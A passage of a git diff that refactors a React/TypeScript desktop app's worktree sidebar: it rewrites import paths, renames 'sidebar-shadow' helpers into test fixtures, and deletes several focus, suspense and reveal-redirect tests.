 import { selectSidebarLineageParentIdentities } from '@/store/slices/worktrees/metadata/cross-store-lineage-parents'
 import type { AppState } from '@/store/types'
 import type { Repo } from '../../../../../../shared/repo-types'
@@ -146,13 +147,11 @@ export function useSidebarSectionRows(args: SectionRowsArgs) {
   )
   const selectHostOptions = useMemo(() => createSidebarHostOptionsSelector(), [])
   const selectHostLabels = useMemo(() => createSidebarHostLabelsSelector(), [])
+  useUiLanguageRevision()
   const hostOptions = useAppStore((state) =>
     selectHostOptions(state, repos, args.settings, hostLabelOverrides)
   )
-  const hostLabelById = useMemo(
-    () => selectHostLabels(hostOptions),
-    [hostOptions, selectHostLabels]
-  )
+  const hostLabelById = selectHostLabels(hostOptions)
 
   const hostScopedGroups =
     args.workspaceHostScope !== 'all' || args.visibleWorkspaceHostIds !== null
diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/use-sleeping-sweep-retention.ts b/src/renderer/src/components/sidebar/worktree-list/listing/use-sleeping-sweep-retention.ts
index 132a30ea773..acf6c54f089 100644
--- a/src/renderer/src/components/sidebar/worktree-list/listing/use-sleeping-sweep-retention.ts
+++ b/src/renderer/src/components/sidebar/worktree-list/listing/use-sleeping-sweep-retention.ts
@@ -1,15 +1,15 @@
 import { useEffect, useMemo, useRef, useState } from 'react'
-import { hasActiveWorkspaceActivity } from '@/lib/worktree-activity-state'
+import { hasActiveWorkspaceActivity } from '@/lib/workspace/activity/worktree-activity-state'
 import { recomputeOn } from '@/lib/recompute-on'
-import { hasWorktreeSleepIntent } from '@/lib/worktree-sleep-intent'
+import { hasWorktreeSleepIntent } from '@/lib/workspace/sleep/worktree-sleep-intent'
 import { getIndexedAllWorktrees } from '@/store/slices/worktrees/listing/worktree-catalog-index'
-import type { Worktree } from '../../../../../../shared/worktree/types'
-import type { VisibleWorktreeOptions } from './compute-visible-worktrees'
 import {
   cloneSleepingSweepRetentionState,
   createSleepingSweepRetentionState,
   updateSleepingSweepRetention
 } from '../../../../../../shared/sidebar-list/sleeping-sweep-retention'
+import type { Worktree } from '../../../../../../shared/worktree/types'
+import type { VisibleWorktreeOptions } from './compute-visible-worktrees'
 
 type SweepActivityInputs = Pick<
   VisibleWorktreeOptions,
diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/use-sort-order.ts b/src/renderer/src/components/sidebar/worktree-list/listing/use-sort-order.ts
index 692274e3fa2..15a7cfe4c24 100644
--- a/src/renderer/src/components/sidebar/worktree-list/listing/use-sort-order.ts
+++ b/src/renderer/src/components/sidebar/worktree-list/listing/use-sort-order.ts
@@ -1,7 +1,7 @@
 import { useEffect, useMemo, useRef } from 'react'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { getIndexedAllWorktrees } from '@/store/slices/worktrees/listing/worktree-catalog-index'
-import { persistWorktreeSortOrderByHost } from '@/lib/worktree-sort-order-persistence'
+import { persistWorktreeSortOrderByHost } from '@/lib/workspace/persistence/worktree-sort-order-persistence'
 import type { Repo } from '../../../../../../shared/repo-types'
 import {
   NO_LIVE_SMART_SORT_SOURCES,
@@ -13,7 +13,7 @@ import {
   smartSortPhase
 } from '../../../../../../shared/sidebar-list/smart-sort-phase'
 import { useReusedArrayIdentity } from './use-reused-array-identity'
-import { useSidebarListSession } from '@/lib/sidebar-list-session'
+import { useSidebarListSession } from '@/components/sidebar/sidebar-feed/sidebar-list-session'
 import { ORCA_SIDEBAR_INPUTS_IS_MAIN } from '../../../../../../shared/sidebar-inputs-switch'
 import {
   getWorktreeHostIdentity,
diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/use-visible-worktrees-retention.test.tsx b/src/renderer/src/components/sidebar/worktree-list/listing/use-visible-worktrees-retention.test.tsx
index c02c7dea796..4d1f4ee31de 100644
--- a/src/renderer/src/components/sidebar/worktree-list/listing/use-visible-worktrees-retention.test.tsx
+++ b/src/renderer/src/components/sidebar/worktree-list/listing/use-visible-worktrees-retention.test.tsx
@@ -1,17 +1,20 @@
 // @vitest-environment happy-dom
 
-import { Suspense, startTransition, useEffect } from 'react'
-import { act, cleanup, render, renderHook } from '@testing-library/react'
+import 'react'
+import { act, cleanup, renderHook } from '@testing-library/react'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host'
 import {
   makeRepo,
   makeTerminalTab,
   makeWorktree
 } from '../../../worktree-jump/worktree-jump-palette-test-fixtures'
-import { SLEEPING_SWEEP_SETTLE_MS } from '../../../../../../shared/sidebar-list/sleeping-sweep-retention'
-import { forgetWorktreeSleepIntent, markWorktreeSleepIntent } from '@/lib/worktree-sleep-intent'
+import '../../../../../../shared/sidebar-list/sleeping-sweep-retention'
+import {
+  forgetWorktreeSleepIntent,
+  markWorktreeSleepIntent
+} from '@/lib/workspace/sleep/worktree-sleep-intent'
 import { useVisibleSidebarWorktrees } from './use-visible-worktrees'
 
 const initialState = useAppStore.getInitialState()
@@ -67,93 +70,6 @@ describe('useVisibleSidebarWorktrees sleeping retention', () => {
     vi.useRealTimers()
   })
 
-  it('does not start a grace deadline in a suspended uncommitted render', () => {
-    let suspend = false
-    let commits = 0
-    let suspendedRenders = 0
-    const pending = new Promise<void>(() => {})
-    function Probe() {
-      const result = useVisibleSidebarWorktrees(args)
-      useEffect(() => {
-        commits += 1
-      })
-      if (suspend) {
-        suspendedRenders += 1
-        throw pending
-      }
-      return <span>{visibleIds(result).join(',')}</span>
-    }
-    const view = () => (
-      <Suspense fallback={<span>Pending</span>}>
-        <Probe />
-      </Suspense>
-    )
-    const rendered = render(view())
-    const initialCommits = commits
-    suspend = true
-    setPtyBound(false)
-    expect(suspendedRenders).toBeGreaterThan(0)
-    expect(commits).toBe(initialCommits)
-
-    vi.setSystemTime(1_000 + SLEEPING_SWEEP_SETTLE_MS)
-    suspend = false
-    rendered.rerender(view())
-    expect(rendered.getByText(worktree.id)).toBeDefined()
-    act(() => vi.advanceTimersByTime(SLEEPING_SWEEP_SETTLE_MS - 1))
-    expect(rendered.getByText(worktree.id)).toBeDefined()
-    act(() => vi.advanceTimersByTime(1))
-    expect(rendered.queryByText(worktree.id)).toBeNull()
-  })
-
-  it('does not reset committed retention when a show-sleeping transition is abandoned', async () => {
-    let suspendedRenders = 0
-    let sleepingCommits = 0
-    const pending = new Promise<void>(() => {})
-    function Probe({ showSleeping }: { showSleeping: boolean }) {
-      const result = useVisibleSidebarWorktrees({
-        ...args,
-        filterState: { ...args.filterState, showSleepingWorkspaces: showSleeping }
-      })
-      useEffect(() => {
-        if (showSleeping) {
-          sleepingCommits += 1
-        }
-      }, [showSleeping])
-      if (showSleeping) {
-        suspendedRenders += 1
-        throw pending
-      }
-      return <span>{visibleIds(result).join(',')}</span>
-    }
-    const view = (showSleeping: boolean) => (
-      <Suspense fallback={<span>Pending</span>}>
-        <Probe showSleeping={showSleeping} />
-      </Suspense>
-    )
-    const rendered = render(view(false))
-    await act(async () => {
-      startTransition(() => rendered.rerender(view(true)))
-    })
-    expect(suspendedRenders).toBeGreaterThan(0)
-    expect(sleepingCommits).toBe(0)
-    expect(rendered.queryByText('Pending')).toBeNull()
-
-    rendered.rerender(view(false))
-    setPtyBound(false)
-    expect(rendered.getByText(worktree.id)).toBeDefined()
-    act(() => vi.advanceTimersByTime(SLEEPING_SWEEP_SETTLE_MS))
-    expect(rendered.queryByText(worktree.id)).toBeNull()
-  })
-
-  it('forgets removed current worktrees even when their cached sort ID remains', () => {
-    const { result } = renderHook(() => useVisibleSidebarWorktrees(args))
-    act(() => useAppStore.setState({ worktreesByRepo: {} }))
-    setPtyBound(false)
-    act(() => useAppStore.setState({ worktreesByRepo: { [repo.id]: [worktree] } }))
-    expect(visibleIds(result.current)).toEqual([])
-    expect(vi.getTimerCount()).toBe(0)
-  })
-
   it('sweeps a deliberately slept row without a grace window', () => {
     const { result } = renderHook(() => useVisibleSidebarWorktrees(args))
     markWorktreeSleepIntent(worktree.id)
diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/use-visible-worktrees.ts b/src/renderer/src/components/sidebar/worktree-list/listing/use-visible-worktrees.ts
index 68a2647bc88..61e63f81a05 100644
--- a/src/renderer/src/components/sidebar/worktree-list/listing/use-visible-worktrees.ts
+++ b/src/renderer/src/components/sidebar/worktree-list/listing/use-visible-worktrees.ts
@@ -2,9 +2,9 @@ import { selectSidebarLineageParentIdentities } from '@/store/slices/worktrees/m
 import { useMemo, useState, useSyncExternalStore } from 'react'
 import { shallow } from 'zustand/shallow'
 import type { AppState } from '@/store/types'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { getAgentStatusEpochNow } from '@/lib/agent-status/evidence/agent-status-epoch-clock'
-import { createLiveAgentWorktreeIdsSelector } from '@/lib/worktree-activity-state'
+import { createLiveAgentWorktreeIdsSelector } from '@/lib/workspace/activity/worktree-activity-state'
 import type { Repo } from '../../../../../../shared/repo-types'
 import type { WorktreeLineage } from '../../../../../../shared/worktree/lineage-types'
 import type { ExecutionHostId } from '../../../../../../shared/execution-host'
diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/visible-worktree-options-from-state.ts b/src/renderer/src/components/sidebar/worktree-list/listing/visible-worktree-options-from-state.ts
index cdfb00e5052..0f804e5d908 100644
--- a/src/renderer/src/components/sidebar/worktree-list/listing/visible-worktree-options-from-state.ts
+++ b/src/renderer/src/components/sidebar/worktree-list/listing/visible-worktree-options-from-state.ts
@@ -1,8 +1,8 @@
 import { selectSidebarLineageParentIdentities } from '@/store/slices/worktrees/metadata/cross-store-lineage-parents'
 import type { Repo } from '../../../../../../shared/repo-types'
 import { getSettingsFocusedExecutionHostId } from '../../../../../../shared/execution-host'
-import { getWorktreeIdsWithLiveAgent } from '@/lib/worktree-activity-state'
-import type { useAppStore } from '@/store'
+import { getWorktreeIdsWithLiveAgent } from '@/lib/workspace/activity/worktree-activity-state'
+import type { useAppStore } from '@/store/index'
 import { getWorktreeIdsWithStructuredChat } from './visible-worktree-activity-inputs'
 import {
   EMPTY_PAIRED_DEVICE_IDS_BY_ENVIRONMENT,
diff --git a/src/renderer/src/components/sidebar/worktree-list/navigation/ScrollToCurrentWorkspaceToolbarButton.tsx b/src/renderer/src/components/sidebar/worktree-list/navigation/ScrollToCurrentWorkspaceToolbarButton.tsx
index 9c62195d5b4..6591a7becf2 100644
--- a/src/renderer/src/components/sidebar/worktree-list/navigation/ScrollToCurrentWorkspaceToolbarButton.tsx
+++ b/src/renderer/src/components/sidebar/worktree-list/navigation/ScrollToCurrentWorkspaceToolbarButton.tsx
@@ -2,7 +2,7 @@ import { Crosshair } from 'lucide-react'
 import React from 'react'
 import { Button } from '@/components/ui/button'
 import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip'
-import { requestScrollToCurrentWorkspaceReveal } from '@/lib/scroll-to-current-workspace-status'
+import { requestScrollToCurrentWorkspaceReveal } from '@/lib/workspace/navigation/scroll-to-current-workspace-status'
 import { useTranslate } from '@/i18n/use-translate'
 
 export function ScrollToCurrentWorkspaceToolbarButton(): React.JSX.Element {
diff --git a/src/renderer/src/components/sidebar/worktree-list/navigation/use-keyboard.focus.test.tsx b/src/renderer/src/components/sidebar/worktree-list/navigation/use-keyboard.focus.test.tsx
deleted file mode 100644
index 8e77bfb5526..00000000000
--- a/src/renderer/src/components/sidebar/worktree-list/navigation/use-keyboard.focus.test.tsx
+++ /dev/null
@@ -1,207 +0,0 @@
-// @vitest-environment happy-dom
-import { act, useRef, useState } from 'react'
-import { createRoot, type Root } from 'react-dom/client'
-import { Terminal } from '@xterm/xterm'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { HostSectionRow } from '../../../../../../shared/sidebar-list/host-section-rows'
-import { repo, worktree } from '../grouping/worktree-list-groups-test-fixtures'
-import { focusPanePreservingOverlays } from '@/lib/pane-manager/pane-overlay-focus'
-
-const state = {
-  keybindings: undefined,
-  revealWorktreeInSidebar: vi.fn(),
-  activeView: 'terminal',
-  activeTabType: 'terminal',
-  activeWorktreeId: 'a',
-  activeTabId: 'tab-a',
-  tabsByWorktree: {
-    a: [{ id: 'tab-a' }],
-    b: [{ id: 'tab-b' }],
-    c: [{ id: 'tab-c' }],
-    'folder:one': [{ id: 'folder-tab' }]
-  }
-}
-const activate = vi.fn()
-const focusRuntime = vi.fn()
-vi.mock('@/store', () => ({
-  useAppStore: Object.assign((selector: (s: typeof state) => unknown) => selector(state), {
-    getState: () => state
-  })
-}))
-vi.mock('@/lib/workspace/activation/worktree-activation', () => ({
-  activateAndRevealWorktree: (...args: unknown[]) => activate(...args)
-}))
-vi.mock('@/runtime/hosted-terminals/mounted-surfaces/mounted-terminal-tab-registry', () => ({
-  focusRuntimeTerminalSurface: (...args: unknown[]) => focusRuntime(...args)
-}))
-const { useWorktreeListKeyboardNavigation } = await import('./use-keyboard')
-Object.assign(globalThis, { IS_REACT_ACT_ENVIRONMENT: true })
-
-const rows: HostSectionRow[] = ['a', 'b', 'c'].map((id) => ({
-  type: 'item',
-  rowKey: id,
-  sectionKey: repo.id,
-  worktree: { ...worktree, id, hostId: 'ssh:fixture' },
-  repo,
-  depth: 0,
-  groupDepth: 0,
-  isLastLineageChild: false,
-  lineageChildCount: 0
-}))
-let root: Root
-let container: HTMLDivElement
-let list: HTMLDivElement
-let terminal: Terminal
-let textarea: HTMLTextAreaElement
-let autoFocus: () => void
-let modal = 'none'
-
-function Probe() {
-  const scrollRef = useRef<HTMLDivElement>(null)
-  const [activeId, setActiveId] = useState(state.activeWorktreeId)
-
-  activate.mockImplementation((id: string) => {
-    state.activeWorktreeId = id
-    state.activeTabId = `tab-${id}`
-    setActiveId(id)
-    autoFocus()
-  })
-  const { handleContainerKeyDown } = useWorktreeListKeyboardNavigation({
-    rows,
-    activeWorktreeId: activeId,
-    activeWorkspaceExecutionHostId: 'ssh:fixture',
-    pinnedDisplayPolicy: 'single-location',
-    scrollRef,
-    activeModal: modal,
-    markDirectScrollInput: () => {}
-  })
-  return (
-    <div
-      ref={scrollRef}
-      data-worktree-sidebar
-      role="listbox"
-      tabIndex={0}
-      onKeyDown={handleContainerKeyDown}
-    >
-      <button>Row action</button>
-    </div>
-  )
-}
-
-function press(key: string, init: KeyboardEventInit = {}, target: HTMLElement = list) {
-  const event = new KeyboardEvent('keydown', {
-    key,
-    code: key,
-    bubbles: true,
-    cancelable: true,
-    ...init
-  })
-  // Why: happy-dom reports AltGraph for any Alt; Chromium only for a real AltGr key.
-  Object.defineProperty(event, 'getModifierState', { value: () => false })
-  act(() => {
-    target.dispatchEvent(event)
-  })
-  return event
-}
-
-beforeEach(() => {
-  Object.assign(state, {
-    keybindings: undefined,
-    activeView: 'terminal',
-    activeTabType: 'terminal',
-    activeWorktreeId: 'a',
-    activeTabId: 'tab-a'
-  })
-  activate.mockReset()
-  focusRuntime.mockReset()
-  modal = 'none'
-  container = document.createElement('div')
-  textarea = document.createElement('textarea')
-  textarea.className = 'xterm-helper-textarea'
-  document.body.append(container, textarea)
-  terminal = new Terminal()
-  vi.spyOn(terminal, 'focus').mockImplementation(() => textarea.focus())
-  autoFocus = () => focusPanePreservingOverlays({ container, terminal })
-  root = createRoot(container)
-  act(() => root.render(<Probe />))
-  const element = container.querySelector('[data-worktree-sidebar]')
-  if (!(element instanceof HTMLDivElement)) {
-    throw new Error('List missing')
-  }
-  list = element
-  list.focus()
-})
-
-afterEach(() => {
-  act(() => root.unmount())
-  terminal.dispose()
-  vi.restoreAllMocks()
-  document.body.innerHTML = ''
-})
-
-describe('workspace list focus ownership', () => {
-  it('keeps repeated arrows in the list across activation and rerenders', () => {
-    press('ArrowDown')
-    expect(document.activeElement).toBe(list)
-    press('ArrowDown')
-    expect(document.activeElement).toBe(list)
-    press('ArrowUp')
-    expect(activate.mock.calls.map(([id]) => id)).toEqual(['b', 'c', 'b'])
-    expect(activate).toHaveBeenLastCalledWith('b', {
-      navigationIntent: 'user-open',
-      revealInSidebar: false,
-      executionHostId: 'ssh:fixture'
-    })
-    expect(terminal.focus).not.toHaveBeenCalled()
-  })
-
-  it.each(['inside', 'outside'])(
-    'releases ownership before an explicit %s pointer action',
-    (where) => {
-      press('ArrowDown')
-      const target = where === 'inside' ? list : textarea
-      target.dispatchEvent(new Event('pointerdown', { bubbles: true }))
-      focusPanePreservingOverlays({ container, terminal })
-      expect(document.activeElement).toBe(textarea)
-    }
-  )
-
-  it('drops ownership when the list unmounts and remounts', () => {
-    press('ArrowDown')
-    act(() => root.render(null))
-    focusPanePreservingOverlays({ container, terminal })
-    expect(document.activeElement).toBe(textarea)
-    act(() => root.render(<Probe />))
-    container.querySelector<HTMLElement>('[data-worktree-sidebar]')?.focus()
-    focusPanePreservingOverlays({ container, terminal })
-    expect(document.activeElement).toBe(textarea)
-  })
-
-  it('leaves the default chord to text fields and runs a user-bound one', () => {
-    vi.spyOn(navigator, 'userAgent', 'get').mockReturnValue('Mac')
-    const composer = document.createElement('div')
-    composer.contentEditable = 'true'
-    composer.setAttribute('data-native-chat-prompt-editor', 'true')
-    const editor = document.createElement('div')
-    editor.className = 'monaco-editor'
-    const field = editor.appendChild(document.createElement('textarea'))
-    const reachedField = vi.fn()
-    field.addEventListener('keydown', reachedField)
-    document.body.append(composer, editor)
-    const fieldKeepsChord = (target: HTMLElement) =>
-      !press('ArrowDown', { metaKey: true, shiftKey: true }, target).defaultPrevented
-    expect([composer, field].map(fieldKeepsChord)).toEqual([true, true])
-
-    const navigateDown = ['Mod+Shift+ArrowDown', 'Ctrl+Alt+ArrowDown', 'Alt+ArrowDown', 'Alt+L']
-    Object.assign(state, { keybindings: { 'worktree.navigateDown': navigateDown } })
-    act(() => root.render(<Probe />))
-    expect([composer, field].map(fieldKeepsChord)).toEqual([true, true])
-    // Option+L composes a character on Mac, so the field keeps it even when bound.
-    press('¬', { code: 'KeyL', altKey: true }, composer)
-    expect(activate).not.toHaveBeenCalled()
-    press('ArrowDown', { altKey: true }, composer)
-    press('ArrowDown', { ctrlKey: true, altKey: true }, field)
-    expect(activate.mock.calls.map(([id]) => id)).toEqual(['b', 'c'])
-    expect(reachedField).toHaveBeenCalledTimes(2)
-  })
-})
diff --git a/src/renderer/src/components/sidebar/worktree-list/navigation/use-reveal-requests.ts b/src/renderer/src/components/sidebar/worktree-list/navigation/use-reveal-requests.ts
index a8a16d3f58d..109e42ae9f5 100644
--- a/src/renderer/src/components/sidebar/worktree-list/navigation/use-reveal-requests.ts
+++ b/src/renderer/src/components/sidebar/worktree-list/navigation/use-reveal-requests.ts
@@ -2,11 +2,11 @@ import { useCallback, useEffect, useLayoutEffect, useRef } from 'react'
 import { Crosshair } from 'lucide-react'
 import { useConfirmationDialog } from '@/components/confirmation-dialog-context'
 import { translate } from '@/i18n/i18n'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import {
   SCROLL_TO_CURRENT_WORKSPACE_REVEAL_REQUEST_EVENT,
   type ScrollToCurrentWorkspaceRevealRequestDetail
-} from '@/lib/scroll-to-current-workspace-status'
+} from '@/lib/workspace/navigation/scroll-to-current-workspace-status'
 import type { FolderWorkspace } from '../../../../../../shared/folder-workspaces/folder-workspace-types'
 import type { Worktree } from '../../../../../../shared/worktree/types'
 import type { ExecutionHostId } from '../../../../../../shared/execution-host'
diff --git a/src/renderer/src/components/sidebar/worktree-list/navigation/use-workspace-reveal-body-redirect.test.tsx b/src/renderer/src/components/sidebar/worktree-list/navigation/use-workspace-reveal-body-redirect.test.tsx
deleted file mode 100644
index 90aa764179c..00000000000
--- a/src/renderer/src/components/sidebar/worktree-list/navigation/use-workspace-reveal-body-redirect.test.tsx
+++ /dev/null
@@ -1,66 +0,0 @@
-// @vitest-environment happy-dom
-
-import { act } from 'react'
-import { createRoot, type Root } from 'react-dom/client'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { SCROLL_TO_CURRENT_WORKSPACE_REVEAL_REQUEST_EVENT } from '@/lib/scroll-to-current-workspace-status'
-import { useWorkspaceRevealBodyRedirect } from './use-workspace-reveal-body-redirect'
-
-;(globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true
-
-const mocks = vi.hoisted(() => ({ setSidebarBody: vi.fn() }))
-
-vi.mock('@/store', () => ({
-  useAppStore: (selector: (state: { setSidebarBody: typeof mocks.setSidebarBody }) => unknown) =>
-    selector({ setSidebarBody: mocks.setSidebarBody })
-}))
-
-function Host({ agentsBodyShowing }: { agentsBodyShowing: boolean }): null {
-  useWorkspaceRevealBodyRedirect(agentsBodyShowing)
-  return null
-}
-
-let container: HTMLDivElement
-let root: Root
-
-beforeEach(() => {
-  mocks.setSidebarBody.mockClear()
-  container = document.createElement('div')
-  document.body.append(container)
-  root = createRoot(container)
-})
-
-afterEach(() => {
-  act(() => root.unmount())
-  container.remove()
-})
-
-describe('useWorkspaceRevealBodyRedirect', () => {
-  it('switches the body to Spaces and replays the request once the list is mounted', () => {
-    act(() => {
-      root.render(<Host agentsBodyShowing />)
-    })
-    const seen: unknown[] = []
-    const listener = (event: Event): void => {
-      seen.push(event instanceof CustomEvent ? event.detail : null)
-    }
-
-    act(() => {
-      window.dispatchEvent(
-        new CustomEvent(SCROLL_TO_CURRENT_WORKSPACE_REVEAL_REQUEST_EVENT, {
-          detail: { target: { type: 'active-workspace' }, beginRename: true }
-        })
-      )
-    })
-    expect(mocks.setSidebarBody).toHaveBeenCalledWith('workspaces')
-    expect(seen).toEqual([])
-
-    window.addEventListener(SCROLL_TO_CURRENT_WORKSPACE_REVEAL_REQUEST_EVENT, listener)
-    act(() => {
-      root.render(<Host agentsBodyShowing={false} />)
-    })
-    window.removeEventListener(SCROLL_TO_CURRENT_WORKSPACE_REVEAL_REQUEST_EVENT, listener)
-
-    expect(seen).toEqual([{ target: { type: 'active-workspace' }, beginRename: true }])
-  })
-})
diff --git a/src/renderer/src/components/sidebar/worktree-list/navigation/use-workspace-reveal-body-redirect.ts b/src/renderer/src/components/sidebar/worktree-list/navigation/use-workspace-reveal-body-redirect.ts
index 31c4de31ae6..dac68b52b7b 100644
--- a/src/renderer/src/components/sidebar/worktree-list/navigation/use-workspace-reveal-body-redirect.ts
+++ b/src/renderer/src/components/sidebar/worktree-list/navigation/use-workspace-reveal-body-redirect.ts
@@ -1,6 +1,6 @@
 import { useEffect, useRef } from 'react'
-import { useAppStore } from '@/store'
-import { SCROLL_TO_CURRENT_WORKSPACE_REVEAL_REQUEST_EVENT } from '@/lib/scroll-to-current-workspace-status'
+import { useAppStore } from '@/store/index'
+import { SCROLL_TO_CURRENT_WORKSPACE_REVEAL_REQUEST_EVENT } from '@/lib/workspace/navigation/scroll-to-current-workspace-status'
 
 /** Capture reveal requests while Agents hides the list; switch to Spaces and replay after the listener mounts. */
 export function useWorkspaceRevealBodyRedirect(agentsBodyShowing: boolean): void {
diff --git a/src/renderer/src/lib/sidebar-shadow/desktop-facts-shadow.ts b/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-desktop-facts.test-fixture.ts
similarity index 89%
rename from src/renderer/src/lib/sidebar-shadow/desktop-facts-shadow.ts
rename to src/renderer/src/components/sidebar/worktree-list/parity/sidebar-desktop-facts.test-fixture.ts
index 04df1fe809b..ec492721ebb 100644
--- a/src/renderer/src/lib/sidebar-shadow/desktop-facts-shadow.ts
+++ b/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-desktop-facts.test-fixture.ts
@@ -9,9 +9,9 @@ import {
   parseExecutionHostId,
   toRuntimeExecutionHostId,
   toSshExecutionHostId
-} from '../../../../shared/execution-host'
-import type { DesktopSidebarFacts } from '../../../../shared/sidebar-list/desktop-sidebar-facts'
-import { folderWorkspaceKey } from '../../../../shared/workspace-scope'
+} from '../../../../../../shared/execution-host'
+import type { DesktopSidebarFacts } from '../../../../../../shared/sidebar-list/desktop-sidebar-facts'
+import { folderWorkspaceKey } from '../../../../../../shared/workspace-scope'
 
 type WindowFactsState = Pick<
   AppState,
diff --git a/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-list-parity.test-fixture.ts b/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-list-parity.test-fixture.ts
index 99763960804..6527995cac8 100644
--- a/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-list-parity.test-fixture.ts
+++ b/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-list-parity.test-fixture.ts
@@ -33,12 +33,12 @@ import { sidebarWorkspaceRowFilters } from '../controls/sidebar-filter-actions'
 import {
   readWindowWorkspaceActivityFacts,
   toLocallyOwnedRows
-} from '@/lib/sidebar-shadow/workspace-activity-shadow'
-import { readWindowDesktopSidebarFacts } from '@/lib/sidebar-shadow/desktop-facts-shadow'
+} from '@/components/sidebar/worktree-list/parity/sidebar-workspace-activity.test-fixture'
+import { readWindowDesktopSidebarFacts } from '@/components/sidebar/worktree-list/parity/sidebar-desktop-facts.test-fixture'
 import {
   readWindowPairedServerHosts,
   readWindowPairedServerRows
-} from '@/lib/sidebar-shadow/paired-server-rows-shadow'
+} from '@/components/sidebar/worktree-list/parity/sidebar-paired-server-rows.test-fixture'
 import type { SidebarInputsFeedDomain } from '../../../../../../main/runtime/sidebar-inputs/sidebar-inputs-feed'
 import type { SidebarFeedDomains } from '../../../../../../shared/sidebar-list/sidebar-feed-domains'
 import { buildSidebarFeedCatalog } from '../../../../../../shared/sidebar-list/sidebar-feed-catalog'
diff --git a/src/renderer/src/lib/sidebar-shadow/paired-server-rows-shadow.ts b/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-paired-server-rows.test-fixture.ts
similarity index 76%
rename from src/renderer/src/lib/sidebar-shadow/paired-server-rows-shadow.ts
rename to src/renderer/src/components/sidebar/worktree-list/parity/sidebar-paired-server-rows.test-fixture.ts
index c0fc93244e4..53baa7dc491 100644
--- a/src/renderer/src/lib/sidebar-shadow/paired-server-rows-shadow.ts
+++ b/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-paired-server-rows.test-fixture.ts
@@ -5,22 +5,22 @@ import {
 import type { AppState } from '@/store/types'
 import { getIndexedAllWorktrees } from '@/store/slices/worktrees/listing/worktree-catalog-index'
 import { getIndexedRepoMap } from '@/store/repos/repository-catalog-index'
-import { projectResolvedWorktreeLineage } from '../../../../shared/resolved-worktree-lineage'
-import type { WorktreeLineage } from '../../../../shared/worktree/lineage-types'
-import { folderWorkspaceToWorktree } from '../../../../shared/folder-workspaces/folder-workspace-worktree'
+import { projectResolvedWorktreeLineage } from '../../../../../../shared/resolved-worktree-lineage'
+import type { WorktreeLineage } from '../../../../../../shared/worktree/lineage-types'
+import { folderWorkspaceToWorktree } from '../../../../../../shared/folder-workspaces/folder-workspace-worktree'
 import {
   pairedServerRowOfWorktree,
   type PairedServerHostFacts,
   type PairedServerWorkspaceRow
-} from '../../../../shared/sidebar-list/paired-server-rows'
-import { describePairedServerHosts } from '../../../../shared/remote-runtime/host-catalog/paired-server-hosts'
-import { getHostDisplayLabelOverrides } from '../../../../shared/host-setting-overrides'
-import { getWorktreeHostIdentity } from '../../../../shared/worktree/host-qualified-identity'
-import type { Worktree } from '../../../../shared/worktree/types'
-import { lineageStoreKeyOfRow } from '../../../../shared/worktree/cross-store-lineage-resolution'
-import { validCrossStoreLineage } from '../../../../shared/worktree/cross-store-lineage-records'
-import { worktreeWorkspaceKey } from '../../../../shared/workspace-scope'
-import { folderLineageEdgeOf } from '../../../../shared/worktree/folder-lineage-parents'
+} from '../../../../../../shared/sidebar-list/paired-server-rows'
+import { describePairedServerHosts } from '../../../../../../shared/remote-runtime/host-catalog/paired-server-hosts'
+import { getHostDisplayLabelOverrides } from '../../../../../../shared/host-setting-overrides'
+import { getWorktreeHostIdentity } from '../../../../../../shared/worktree/host-qualified-identity'
+import type { Worktree } from '../../../../../../shared/worktree/types'
+import { lineageStoreKeyOfRow } from '../../../../../../shared/worktree/cross-store-lineage-resolution'
+import { validCrossStoreLineage } from '../../../../../../shared/worktree/cross-store-lineage-records'
+import { worktreeWorkspaceKey } from '../../../../../../shared/workspace-scope'
+import { folderLineageEdgeOf } from '../../../../../../shared/worktree/folder-lineage-parents'
 
 /** The paired-server rows the window fetched itself, keyed by host-qualified id, for these hosts. */
 export function readWindowPairedServerRows(
diff --git a/src/renderer/src/lib/sidebar-shadow/workspace-activity-shadow.ts b/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-workspace-activity.test-fixture.ts
similarity index 89%
rename from src/renderer/src/lib/sidebar-shadow/workspace-activity-shadow.ts
rename to src/renderer/src/components/sidebar/worktree-list/parity/sidebar-workspace-activity.test-fixture.ts
index 3b233e81f7d..bbbeaa6f4de 100644
--- a/src/renderer/src/lib/sidebar-shadow/workspace-activity-shadow.ts
+++ b/src/renderer/src/components/sidebar/worktree-list/parity/sidebar-workspace-activity.test-fixture.ts
@@ -5,19 +5,19 @@ import {
 import type { AppState } from '@/store/types'
 import { getIndexedAllWorktrees } from '@/store/slices/worktrees/listing/worktree-catalog-index'
 import { getIndexedRepoMap } from '@/store/repos/repository-catalog-index'
-import { getLiveAgentStatusByWorktreeId } from '@/lib/worktree-activity-state'
-import { tabHasLivePty } from '../../../../shared/tab-has-live-pty'
+import { getLiveAgentStatusByWorktreeId } from '@/lib/workspace/activity/worktree-activity-state'
+import { tabHasLivePty } from '../../../../../../shared/tab-has-live-pty'
 import { getWorktreeIdsWithStructuredChat } from '@/components/sidebar/worktree-list/listing/visible-worktree-activity-inputs'
 import {
   getRepoExecutionHostId,
   parseExecutionHostId,
   type ExecutionHostId
-} from '../../../../shared/execution-host'
-import { folderWorkspaceKey } from '../../../../shared/workspace-scope'
